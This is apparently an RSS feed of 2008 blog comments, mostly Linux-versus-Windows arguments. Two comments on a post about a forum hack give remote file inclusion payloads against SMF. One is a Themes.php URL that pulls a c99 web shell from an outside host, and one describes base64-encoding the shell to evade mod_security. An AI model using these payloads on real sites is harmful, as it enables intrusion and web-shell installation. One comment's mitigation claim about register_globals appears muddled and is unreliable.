Comments for DeveloperSide.NET Blog http://www.devside.net/blog Linux, Windows, MacOS? Who cares. Just give me something that works! Tue, 13 May 2008 12:08:37 +0000 http://wordpress.org/?v=2.5.1 Comment on It’s Not a Bug, It’s a Feature… No, It Really Is. Microsoft vs. Linux by Rick http://www.devside.net/blog/linux-windows-bug-feature#comment-4512 Rick Wed, 07 May 2008 10:22:57 +0000 http://www.devside.net/blog/linux-windows-bug-feature#comment-4512 Interesting, I have to test in all common browsers and it's a real pain. One "feature" (bug) of Firefox I'm having problems with is vaguely related to this. If I have a button (not submit, just a ) within a form, no matter what the onclick is for that button firefox will submit the form, IE doesn't, it just does what the button told it to do, which is what I would expect. The only fix to this is to move the button outside the form in the code, but then I have positioning problems. Interesting, I have to test in all common browsers and it’s a real pain. One “feature” (bug) of Firefox I’m having problems with is vaguely related to this. If I have a button (not submit, just a ) within a form, no matter what the onclick is for that button firefox will submit the form, IE doesn’t, it just does what the button told it to do, which is what I would expect. The only fix to this is to move the button outside the form in the code, but then I have positioning problems.

]]> Comment on All Your SMF Forums Have Been Hacked. Have a Nice Day. by John http://www.devside.net/blog/smf-exploit-like-phpbb-hack#comment-4511 John Wed, 07 May 2008 07:46:00 +0000 http://www.devside.net/blog/smf-exploit-like-phpbb-hack#comment-4511 Retarded script-kiddies are trying this on old versions of SMF... thedomain.com/index.php?action=http_full_url_to_txt_with_php_inside Retarded script-kiddies are trying this on old versions of SMF…

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]]> Comment on Ubuntu Kills Linux, Then Self, Dell Suspected of Foul Play. by Ubuntu User http://www.devside.net/blog/ubuntu-kills-linux-dell#comment-4510 Ubuntu User Tue, 06 May 2008 21:11:35 +0000 http://www.devside.net/blog/ubuntu-kills-linux-dell#comment-4510 While searching for a faster more streamlined operating system than Vista, I discovered Linux. I must have tried 30 different versions, as Linux is available in all shapes and sizes. Choosing just one is difficult. There are so many wonderful distributions out there for various needs... Ubuntu, PCLinuxOS, Mint, Open Suse, Puppy, Freespire, GOS, Simply Mepis, Debian, Fedora, Mandriva, and on and on!! How much choice do you have as a Windows user? (Laugh!) After much experimentation, I finally chose Ubuntu. For a couple of reasons: it's vast support community (and in depth wiki) and its regular release schedule. Don't get me wrong, I like Windows, especially Xp. But what real improvements does Vista offer over Xp? And why would I ever buy Vista (or a Vista PC) when Ubuntu does everything Windows does minus the viruses, spyware, security issues, and cost? There's a misconception that Linux users don't get viruses because it has a smaller user base. Not true. Linux stays spyware and virus free due to it's structure. Package Managers and the need for a root password before installing programs makes security hassle and worry free. I don't worry about the kids installing stuff on my computer without my permission. And I can't tell you the freedom I feel as a Linux user to never again worry about losing or damaging my install discs, (as Windows only allows its users to make one copy of their install discs), or worry about losing a product key, or it not working if I choose to install a new hard drive in my computer. With Linux, I can make as many back up discs as I want. No product key needed, ever! And, as it is Open Source I am allowed, even encouraged to tweak my linux system in any way I see fit! With Linux your options are limitless, whereas the Windows EULA will trip you up every time. Windows is full of "cant's." Linux is full of "cans." Linux users live by their own decisions unencumbered by EULA telling you what you can't do. I once too was a Windows only user. I thought Linux was a command-line Operating System, like DOS or something. HA! Boy have times changed! Don't let ignorance fool you into thinking Linux isn't just as good as Windows and in many ways better. Windows isn't a bad product. It just isn't necessary. The best thing windows has going for it is it's users ignorance of other choices and general inertia to keep blindly using their product. I used to be one of those people. Blissfully ignorant. Asleep at the wheel. But knowledge is power. Now I am in the driver's seat. Alert, awake, and free to take my Operating System anywhere I desire to go. Freedom is priceless. While searching for a faster more streamlined operating system than Vista, I discovered Linux. I must have tried 30 different versions, as Linux is available in all shapes and sizes.
Choosing just one is difficult. There are so many wonderful distributions out there for various needs… Ubuntu, PCLinuxOS, Mint, Open Suse, Puppy, Freespire, GOS, Simply Mepis, Debian, Fedora, Mandriva, and on and on!! How much choice do you have as a Windows user? (Laugh!) After much experimentation, I finally chose Ubuntu. For a couple of reasons: it’s vast support community (and in depth wiki) and its regular release schedule.
Don’t get me wrong, I like Windows, especially Xp. But what real improvements does Vista offer over Xp? And why would I ever buy Vista (or a Vista PC) when Ubuntu does everything Windows does minus the viruses, spyware, security issues, and cost?
There’s a misconception that Linux users don’t get viruses because it has a smaller user base. Not true. Linux stays spyware and virus free due to it’s structure. Package Managers and the need for a root password before installing programs makes security hassle and worry free. I don’t worry about the kids installing stuff on my computer without my permission.
And I can’t tell you the freedom I feel as a Linux user to never again worry about losing or damaging my install discs, (as Windows only allows its users to make one copy of their install discs), or worry about losing a product key, or it not working if I choose to install a new hard drive in my computer.
With Linux, I can make as many back up discs as I want. No product key needed, ever! And, as it is Open Source I am allowed, even encouraged to tweak my linux system in any way I see fit! With Linux your options are limitless, whereas the Windows EULA will trip you up every time. Windows is full of “cant’s.” Linux is full of “cans.” Linux users live by their own decisions unencumbered by EULA telling you what you can’t do.
I once too was a Windows only user. I thought Linux was a command-line Operating System, like DOS or something. HA! Boy have times changed! Don’t let ignorance fool you into thinking Linux isn’t just as good as Windows and in many ways better.
Windows isn’t a bad product. It just isn’t necessary. The best thing windows has going for it is it’s users ignorance of other choices and general inertia to keep blindly using their product. I used to be one of those people. Blissfully ignorant. Asleep at the wheel. But knowledge is power. Now I am in the driver’s seat. Alert, awake, and free to take my Operating System anywhere I desire to go. Freedom is priceless.

]]> Comment on Another Day, Another WordPress Hack. by Dave Toys http://www.devside.net/blog/another-wordpress-hack#comment-4508 Dave Toys Sun, 04 May 2008 21:06:18 +0000 http://www.devside.net/blog/another-wordpress-hack#comment-4508 I have worked with WP a few times and the code is an absolute disgrace. Those guys sure haven't heard of the DRY principle. If there code wasn't so repetitive maybe there wouldn't be so many security issues. Check out the site 'milworm' to have a look at a catalog of other issues. I have worked with WP a few times and the code is an absolute disgrace. Those guys sure haven’t heard of the DRY principle. If there code wasn’t so repetitive maybe there wouldn’t be so many security issues. Check out the site ‘milworm’ to have a look at a catalog of other issues.

]]> Comment on Ubuntu’s Death Rattle by admin http://www.devside.net/blog/ubuntu-dying-2#comment-4506 admin Thu, 01 May 2008 03:11:55 +0000 http://www.devside.net/blog/ubuntu-dying-2#comment-4506 xubean, everything I've said is right on spot. #1. You are bashing MS products without providing any facts or reasons, you do not even identify the products and issues involved. Unstable, unreliable, overpriced products? Right. Windows has worked for me flawlessly since Win2k. Let Linux and Linux applications get 1 billion users and see what kind of a mess it will all be. #2. Google is a business. A "for profit" business. They have stockholders. Do you understand? They are no different from Microsoft. Know what they do? How they make money? They sell AD space. How noble of them. #3. I provide you with an example with facts and you say 'must be a fanboy.' Goes right to the fanaticism point. xubean, everything I’ve said is right on spot.

#1. You are bashing MS products without providing any facts or reasons, you do not even identify the products and issues involved. Unstable, unreliable, overpriced products? Right. Windows has worked for me flawlessly since Win2k. Let Linux and Linux applications get 1 billion users and see what kind of a mess it will all be.

#2. Google is a business. A “for profit” business. They have stockholders. Do you understand? They are no different from Microsoft. Know what they do? How they make money? They sell AD space. How noble of them.

#3. I provide you with an example with facts and you say ‘must be a fanboy.’ Goes right to the fanaticism point.

]]> Comment on Ubuntu’s Death Rattle by xubean http://www.devside.net/blog/ubuntu-dying-2#comment-4505 xubean Thu, 01 May 2008 01:15:43 +0000 http://www.devside.net/blog/ubuntu-dying-2#comment-4505 Well, I had my doubts before, but now I know for sure you're a MS fanboy! I was trying to be real and not talk like a Linux fanboy (which I'm not), but you're saying really unrealistic things now. 'The constant insults thrown towards Microsoft and their products by people that have never even used the products they are bashing' That's what a Linux fanboy is supposed to say... coz there's waaaaaaaay more chance that someone has used a Windows software compared to a Linux product. They used the Microsoft product and did not like it, and now they have seen that there are better options out there. 'This notion of good vs evil. Google good. Microsoft evil. Why? Just because!' No, not just because! Because of Microsoft's monopolistic nature, overpriced products and unstable and unreliable products that we are forced to buy. I don't have to fill you up on the whole Vista vs. XP thing. Even the Windows user don't want Vista, but Microsoft keeps trying to throw it at them...! 'The number #3 point is a good one. The example is Firefox. It has become a bloated, unusable, unsecured POS of a browser. IE 7 is an improvement over IE6 and Firefox in every way imaginable. ' Are you effin kidding me.. I mean, I agree IE7 is an improvement over IE6, but seriously? Firefox? I haven't heard that from even a person who used to work with Microsoft (Student Partner), Firefox must have been bloated than before, but IE7 better than Firefox???? You really are a fanboy... I could type a lot more things, but I know there's no convincing you... Until you realize this on your own... there's no point in trying to convince you... all i gotta say is get your facts straight... Well, I had my doubts before, but now I know for sure you’re a MS fanboy! I was trying to be real and not talk like a Linux fanboy (which I’m not), but you’re saying really unrealistic things now.

‘The constant insults thrown towards Microsoft and their products by people that have never even used the products they are bashing’
That’s what a Linux fanboy is supposed to say… coz there’s waaaaaaaay more chance that someone has used a Windows software compared to a Linux product. They used the Microsoft product and did not like it, and now they have seen that there are better options out there.
‘This notion of good vs evil. Google good. Microsoft evil. Why? Just because!’
No, not just because! Because of Microsoft’s monopolistic nature, overpriced products and unstable and unreliable products that we are forced to buy. I don’t have to fill you up on the whole Vista vs. XP thing. Even the Windows user don’t want Vista, but Microsoft keeps trying to throw it at them…!
‘The number #3 point is a good one. The example is Firefox. It has become a bloated, unusable, unsecured POS of a browser. IE 7 is an improvement over IE6 and Firefox in every way imaginable. ‘
Are you effin kidding me.. I mean, I agree IE7 is an improvement over IE6, but seriously? Firefox? I haven’t heard that from even a person who used to work with Microsoft (Student Partner), Firefox must have been bloated than before, but IE7 better than Firefox???? You really are a fanboy…
I could type a lot more things, but I know there’s no convincing you… Until you realize this on your own… there’s no point in trying to convince you… all i gotta say is get your facts straight…

]]> Comment on Ubuntu’s Death Rattle by admin http://www.devside.net/blog/ubuntu-dying-2#comment-4504 admin Wed, 30 Apr 2008 17:10:02 +0000 http://www.devside.net/blog/ubuntu-dying-2#comment-4504 I'm still around, in the shadows looking out. I've been working on a few ventures of mine that have unfortunately prevented myself from having the time to dedicate to this blog and my everlasting pursuit for the truth. On that note, my views have not changed radically since I made this blog post a year ago. I believe that Linux and Windows cater to two different types of people and businesses. There is some overlap, and there are plenty of examples of this, but overall they are different beasts. In architecture, function, and usability. The aspect I dislike most about Linux is the blind fanaticism involved [and what it creates]... 1. The constant insults thrown towards Microsoft and their products by people that have never even used the products they are bashing. People that have no clue about the verbal and cerebral diarrhea they are regurgitating. 2. This notion of good vs evil. Google good. Microsoft evil. Why? Just because! 3. The lies, dam lies, and more lies that are now standard procedure for marketing your product in comparison to an MS product. The number #3 point is a good one. The example is Firefox. It has become a bloated, unusable, unsecured POS of a browser. IE 7 is an improvement over IE6 and Firefox in every way imaginable. So what does the Firefox team do [or who ever it was on the dev team]? They come out with pure BS benchmarks not just once, but twice in a row, to show how much worse IE is. The problem was these benchmark were not just done bad. They were soo far off, and so much information was not provided, that there is no way they were not rigged. Rigged from the start and covered up with open-source fanaticism and saran wrap. It was sick to see this. What was it? Something like 'lets open up 30 tabs in Firefox under one instance, and compare that to 30 IE instances/windows, and lets only compare the 1st half second on RAM usage, and lets open the 30 IE Windows as fast as we can so we can say the system crashed.'... or something along those lines. Linux is it's worst enemy in this regard. It will tarnish itself in the process. My outlook on Linux is gloom at best. I don't want much to do with it except on the server-side where you actually deal with businesses, and not inexperienced fanboys and Ubuntu. In the mean time I'll use the OS I'm most productive in, Windows. I’m still around, in the shadows looking out.

I’ve been working on a few ventures of mine that have unfortunately prevented myself from having the time to dedicate to this blog and my everlasting pursuit for the truth.

On that note, my views have not changed radically since I made this blog post a year ago.

I believe that Linux and Windows cater to two different types of people and businesses. There is some overlap, and there are plenty of examples of this, but overall they are different beasts. In architecture, function, and usability.

The aspect I dislike most about Linux is the blind fanaticism involved [and what it creates]…

1. The constant insults thrown towards Microsoft and their products by people that have never even used the products they are bashing. People that have no clue about the verbal and cerebral diarrhea they are regurgitating.

2. This notion of good vs evil. Google good. Microsoft evil. Why? Just because!

3. The lies, dam lies, and more lies that are now standard procedure for marketing your product in comparison to an MS product.

The number #3 point is a good one. The example is Firefox. It has become a bloated, unusable, unsecured POS of a browser.

IE 7 is an improvement over IE6 and Firefox in every way imaginable. So what does the Firefox team do [or who ever it was on the dev team]? They come out with pure BS benchmarks not just once, but twice in a row, to show how much worse IE is. The problem was these benchmark were not just done bad. They were soo far off, and so much information was not provided, that there is no way they were not rigged. Rigged from the start and covered up with open-source fanaticism and saran wrap. It was sick to see this. What was it? Something like ‘lets open up 30 tabs in Firefox under one instance, and compare that to 30 IE instances/windows, and lets only compare the 1st half second on RAM usage, and lets open the 30 IE Windows as fast as we can so we can say the system crashed.’… or something along those lines.

Linux is it’s worst enemy in this regard. It will tarnish itself in the process.

My outlook on Linux is gloom at best. I don’t want much to do with it except on the server-side where you actually deal with businesses, and not inexperienced fanboys and Ubuntu.

In the mean time I’ll use the OS I’m most productive in, Windows.

]]> Comment on Ubuntu’s Death Rattle by xubean http://www.devside.net/blog/ubuntu-dying-2#comment-4503 xubean Wed, 30 Apr 2008 15:49:59 +0000 http://www.devside.net/blog/ubuntu-dying-2#comment-4503 You wrote this article just about a month ago now... and I was reading through the comments, and how badly people battered you, insulted you and said all these bad things. I'm not that kind of guy... I've commented before (nicely) and you replied back (nicely was well). However, now that Ubuntu 8.04 LTS (hardy heron) is out, and there's more talk about ubuntu, linux everywhere, and more more and computer companies are embracing linux, esp. after EEEPC, I wanted to know where you stand today. Also one more thing... you mentioned ubuntu dying and PCLinuxOS has taken number one on Distrowatch, well, again i cannot predict the future and say you're wrong, however, it doesn't look like ubuntu has died just yet, and the deal with Dell is still on. Just wanted to see what your thoughts are now. and finally though this doesn't prove anything, it's interesting to see the rise of ubuntu: all years: http://www.google.com/trends?q=ubuntu%2C+windows+xp%2C+windows+vista%2C+redhat%2C+suse&ctab=0&geo=all&date=all&sort=0 last 12 months http://www.google.com/trends?q=ubuntu%2C+windows+xp%2C+windows+vista%2C+redhat%2C+suse&ctab=0&geo=all&date=ytd&sort=0 You wrote this article just about a month ago now… and I was reading through the comments, and how badly people battered you, insulted you and said all these bad things. I’m not that kind of guy… I’ve commented before (nicely) and you replied back (nicely was well). However, now that Ubuntu 8.04 LTS (hardy heron) is out, and there’s more talk about ubuntu, linux everywhere, and more more and computer companies are embracing linux, esp. after EEEPC, I wanted to know where you stand today. Also one more thing… you mentioned ubuntu dying and PCLinuxOS has taken number one on Distrowatch, well, again i cannot predict the future and say you’re wrong, however, it doesn’t look like ubuntu has died just yet, and the deal with Dell is still on. Just wanted to see what your thoughts are now. and finally though this doesn’t prove anything, it’s interesting to see the rise of ubuntu:
all years:
http://www.google.com/trends?q=ubuntu%2C+windows+xp%2C+windows+vista%2C+redhat%2C+suse&ctab=0&geo=all&date=all&sort=0
last 12 months
http://www.google.com/trends?q=ubuntu%2C+windows+xp%2C+windows+vista%2C+redhat%2C+suse&ctab=0&geo=all&date=ytd&sort=0

]]> Comment on Another Day, Another WordPress Hack. by Codenaur http://www.devside.net/blog/another-wordpress-hack#comment-4501 Codenaur Mon, 28 Apr 2008 08:52:39 +0000 http://www.devside.net/blog/another-wordpress-hack#comment-4501 Poncheg, You are not a hacker, You are a skid. kthx Also, If you want a secure site, Write you're own CMS/blog/what ever Poncheg, You are not a hacker, You are a skid. kthx

Also, If you want a secure site, Write you’re own CMS/blog/what ever

]]> Comment on All Your SMF Forums Have Been Hacked. Have a Nice Day. by Codenaur http://www.devside.net/blog/smf-exploit-like-phpbb-hack#comment-4500 Codenaur Mon, 28 Apr 2008 08:43:45 +0000 http://www.devside.net/blog/smf-exploit-like-phpbb-hack#comment-4500 A few things I would like to clear up, The shell is encoded with bace64 to get round mod_security. Now I know this is a OLD blog post, but I think he exploited a remote file inclusion exploit in the themes directory(thats why he opened the readme). The exploit is; /Sources/Themes.php?settings[theme_dir]=http://bilmemne.siz/c99.txt? Now theres not official patch for this yet, But the exploit should be unable to work if you have register_globles enabled. A few things I would like to clear up, The shell is encoded with bace64 to get round mod_security. Now I know this is a OLD blog post, but I think he exploited a remote file inclusion exploit in the themes directory(thats why he opened the readme). The exploit is;

/Sources/Themes.php?settings[theme_dir]=http://bilmemne.siz/c99.txt?

Now theres not official patch for this yet, But the exploit should be unable to work if you have register_globles enabled.

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